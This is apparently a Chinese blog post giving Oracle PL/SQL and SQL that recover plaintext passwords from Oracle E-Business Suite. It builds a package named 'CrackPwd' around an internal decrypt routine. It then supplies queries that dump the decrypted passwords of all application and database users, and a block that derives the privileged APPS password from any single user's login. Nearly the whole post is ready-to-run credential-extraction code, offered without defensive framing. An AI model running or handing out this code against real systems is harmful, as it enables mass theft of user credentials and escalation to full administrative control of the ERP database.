oracle如何获取用户密码,获取oracle ebs 用户密码

--获得 用户密码--------------- begin -------------------------------------------

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2;

END CrackPwd;

CREATE OR REPLACE PACKAGE BODY CrackPwd

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2

AS

LANGUAGE JAVA

NAME \'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String\';

END CrackPwd;

SET SERVEROUTPUT ON

DECLARE

guestUserPwd VARCHAR2(200);

guestUserName VARCHAR2(100);

guestFndPwd VARCHAR2(100);

guestEncFndPwd VARCHAR2(100);

delim NUMBER;

BEGIN

guestUserPwd :=\'GUEST/ORACLE\';--Can any user password

IF guestUserPwd IS NULL THEN

guestUserPwd := UPPER(fnd_profile.value(\'GUEST_USER_PWD\'));

END IF;

delim := INSTR(guestUserPwd,\'/\');

guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

SELECT encrypted_foundation_password INTO guestEncFndPwd

FROM fnd_user_view

WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

(end_date IS NULL OR end_date > SYSDATE);

guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

IF NOT (guestFndPwd IS NULL) THEN

DBMS_OUTPUT.put_line(guestFndPwd);

END IF;

END;

--6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法

SELECT user_name,CrackPwd.getpwd(\'APPS\',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user

--7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法

select fou.oracle_username,CrackPwd.getpwd(\'APPS\',encrypted_oracle_password) pwd

from APPS.fnd_oracle_userid fou order by fou.oracle_username

/*

4.通过任何一个User name/password取得APPS密码的方法

SET SERVEROUTPUT ON

DECLARE

guestUserPwd VARCHAR2(200);

guestUserName VARCHAR2(100);

guestFndPwd VARCHAR2(100);

guestEncFndPwd VARCHAR2(100);

delim NUMBER;

BEGIN

guestUserPwd :=\'GUEST/ORACLE\';--Can any user password

IF guestUserPwd IS NULL THEN

guestUserPwd := UPPER(fnd_profile.value(\'GUEST_USER_PWD\'));

END IF;

delim := INSTR(guestUserPwd,\'/\');

guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

SELECT encrypted_foundation_password INTO guestEncFndPwd

FROM fnd_user_view

WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

(end_date IS NULL OR end_date > SYSDATE);

guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

IF NOT (guestFndPwd IS NULL) THEN

DBMS_OUTPUT.put_line(guestFndPwd);

END IF;

END;

注: guestUserPwd :=\'GUEST/ORACLE\';--Can any user password

上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开

以上程序可以用toad执行

5.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法

SET SERVEROUT ON

DECLARE

v_encrypted_pwd VARCHAR2 (100);

v_apps_pwd VARCHAR2 (100);

v_user_pwd VARCHAR (100);

BEGIN

v_encrypted_pwd :=\'ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58

3C10B916D88062771250F4BE653891CA90671C74187B132118335\';

--get ENCRYPTED_USER_PASSWORD from fnd_user

IF v_apps_pwd IS NULL

THEN

v_apps_pwd := \'APPS\';

END IF;

v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);

DBMS_OUTPUT.put_line (v_user_pwd);

END;

*/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值